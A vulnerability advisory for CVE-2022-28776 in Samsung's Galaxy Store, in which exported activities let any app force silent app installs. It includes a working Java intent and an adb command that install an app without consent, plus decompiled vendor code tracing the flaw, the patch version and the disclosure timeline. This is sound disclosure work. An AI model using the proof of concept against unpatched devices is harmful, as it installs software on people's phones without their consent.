CVE-2022-28776 Details
Original post: https://labs.f-secure.com/advisories/samsung-galaxy-any-app-can-install-any-app/
Product | Galaxy Store prior to version 4.5.36.4 |
Severity | High |
CVE Reference | CVE-2022-28776 |
Type | Automatic Application Install |
Description
F-Secure looked into exploiting the Samsung Galaxy S21 device for Austin Pwn2Own 2021. The Galaxy App Store contained an issue with how it handled specific intents. When an intent was sent to one of three exported activities, the Galaxy App Store would create a new intent, while taking all of the calling intent’s extras and packaging them with the new intent. This new intent could then be manipulated in such a way that the Galaxy App Store would be forced to automatically install other applications onto the victim’s device without consent.
The Exploit
The following exported activities could have been used to exploit this issue:
com.sec.android.app.samsungapps.viewpager.InterimActivity
com.sec.android.app.samsungapps.interim.essentials.InterimEssentialsActivity
com.sec.android.app.samsungapps.downloadableapps.DownloadableAppsActivity
As an example, the following Java code could have been used by a third party application to automatically install the application “Pokemon Go”. This code uses the Java class com.sec.android.app.samsungapps.viewpager.InterimActivity
:
Intent intent = new Intent();
intent.setComponent(new ComponentName("com.sec.android.app.samsungapps", "com.sec.android.app.samsungapps.viewpager.InterimActivity"));
intent.putExtra("directcall", true);
intent.putExtra("isInternal", true);
intent.putExtra("directInstall", true);
intent.putExtra("installReferrer", "com.sec.android.app.samsungapps");
intent.putExtra("directOpen", true);
intent.putExtra("GUID", "com.nianticlabs.pokemongo.ares");
startActivity(intent);
Alternatively, the following ADB command could have been used to install the application “Pokemon Go”. This command also uses the Java class com.sec.android.app.samsungapps.viewpager.InterimActivity
:
am start -n com.sec.android.app.samsungapps/com.sec.android.app.samsungapps.viewpager.InterimActivity --ez directcall true --ez isInternal true --ez directInstall true --es installReferrer com.sec.android.app.samsungapps --ez directOpen true --es GUID com.nianticlabs.pokemongo.ares
Technical Details
Each of the exploitable exported classes contains code that parses the calling intent and creates:
- a data URI that starts with
samsungapps://CategoryList/
- extracts the intent extras and adds an additional extra Boolean
isFromInterim
and sets it to True (though this extra does not get used later)
The data URI and extras are passed to class com.sec.android.app.util.DeeplinkUtil
method openInternalDeeplink
. To show this, below is the code found in class com.sec.android.app.samsungapps.interim.essentials.InterimEssentialsActivity
method a
:
private void a() {
Bundle extras = getIntent().getExtras();
if (extras == null) {
extras = new Bundle();
}
extras.putBoolean(DeepLink.EXTRA_DEEPLINK_IS_FROM_INTERIM, true);
DeeplinkUtil deeplinkUtil = new DeeplinkUtil(this);
deeplinkUtil.openInternalDeeplink("samsungapps://CategoryList/" + Constant.GALAXY_ESSENTIALS, extras);
}
openInternalDeepLink
creates a new intent, adds the previously captured extras to the intent and adds an extra string sender value of com.sec.android.app.samsungapps
. Thenewly created intent is sent to class com.sec.android.app.samsungapps.deeplink.DeepLinkFactory
method createDeepLink
which will return a deeplink, and set the deeplink as an internal deeplink:
public boolean openInternalDeeplink(String str, Bundle bundle) {
if (!Common.isValidString(str)) {
return false;
}
Intent intent = new Intent();
intent.putExtra("sender", this.activity.getPackageName());
intent.setData(Uri.parse(str));
if (bundle != null) {
intent.putExtras(bundle);
}
DeepLink createDeepLink = DeepLinkFactory.createDeepLink(intent);
if (createDeepLink == null) {
return false;
}
createDeepLink.setIsInternal(true);
DeeplinkManager.getInstance().setInternalDeeplink(true);
DeepLinkFactoryUtil.sendDeeplinkLaunchingLog(createDeepLink.getDeeplinkUrl(), true);
return createDeepLink.runInternalDeepLink(this.a);
}
createdeeplink
creates a “Product Detail Deeplink” deeplink. This deeplink contains all of the extras that were set in the intent:
public static DeepLink createDeepLink(final Intent intent) {
try {
final boolean booleanExtra = intent.getBooleanExtra("directcall", false);
final String stringExtra = intent.getStringExtra("GUID");
final Bundle extras = intent.getExtras();
if (booleanExtra && stringExtra != null && stringExtra.length() != 0) {
final StringBuilder sb = new StringBuilder();
sb.append("[GADeepLink] ::directcall::");
sb.append(stringExtra);
AppsLog.d(sb.toString());
return DeepLinkFactoryUtil.createProductDetailDeepLink(stringExtra, extras);
}
DeepLink parameters are set via class com.sec.android.app.samsungapps.utility.deeplink
. DeepLink which sets different values based on the passed intent extras, such as directInstall
:
public void initialize(Bundle bundle) {
...
this.u = getBundleBoolean(bundle, EXTRA_DEEPLINK_DIRECT_INSTALL, false);
...
The application then automatically processes the newly created “Product Detail Deeplink” deeplink as if it was a standard deeplink. While processing, the class com.sec.android.app.samsungapps.deeplink. DetailPageDeepLink
method runInternalDeeplink
is called, which looks for intent extras such as directInstall
:
public boolean runInternalDeepLink(Context context) {
AppsLog.d(this.a + "::runInternalDeepLink::");
if (launchApp(context, getDetailID())) {
return true;
}
if (this.isStickerApp) {
DetailPageHelper.launchStickerDetailFromDeeplink(context, getDetailID(), this.d, getAdSource(), getDeeplinkUrl());
return true;
}
DetailConstant.DETAIL_TYPE detail_type = DetailConstant.DETAIL_TYPE.COMMON;
if (isForGear()) {
detail_type = DetailConstant.DETAIL_TYPE.GEAR;
} else if (a()) {
detail_type = DetailConstant.DETAIL_TYPE.GAME;
}
DetailPageHelper.launchDetailFromDeeplink(context, getDetailID(), detail_type, this.mSignId, this.mQueryStr, getAdSource(), this.b, getSender(), isDirectInstall(), isDirectOpen(), getType(), this.f, getDeeplinkUrl(), this.mEncodedReferrer);
return true;
}
Similar to the bug outlined in https://yogehi.github.io/cves/cve-2022-22288.html, class com.sec.android.app.samsungapps.deeplink.DetailPageDeepLink
method putDetailCommonExtra
is eventually called again:
public void putDetailCommonExtra(Context context) {
...
if (isDirectInstall() && appManager.enableDDI(getSender(), getDetailID(), DeeplinkManager.getInstance().getInternalDeeplink())) {
this.intent.putExtra(DeepLink.EXTRA_DEEPLINK_DIRECT_INSTALL, isDirectInstall());
this.intent.putExtra("sender", getSender());
}
enableDDI
is called again, but this time it will return true due to the calling intent being an internal deeplink:
public boolean enableDDI(String sender, String appId, boolean isInternalDeeplink) {
if (isDDITestMode()) {
return true;
}
if ((!isGalaxyStore(sender) || !isInternalDeeplink) && !isWhiteListAppForOneClick(sender, appId)) {
return false;
}
return true;
}
Since enableDDI
returns true, the target application gets installed.
Remedial Action
Samsung has released the Galaxy Store version 4.5.36.4 which addresses this issue. Users should update their Galaxy Store application to the latest version available.
Credits
This issue was discovered by Ken Gannon.
Timeline
Date | Summary |
17/10/2021 | Issue disclosed to Samsung Mobile Security |
17/10/2021 | Issue assigned to a Samsung Security Analyst |
22/11/2021 | Samsung confirms the vulnerability and rates it as a critical risk issue |
13/02/2022 | Patch released, Samsung initiates process for bug bounty reward |
12/04/2022 | CVE Assigned |
04/05/2022 | Advisory Published |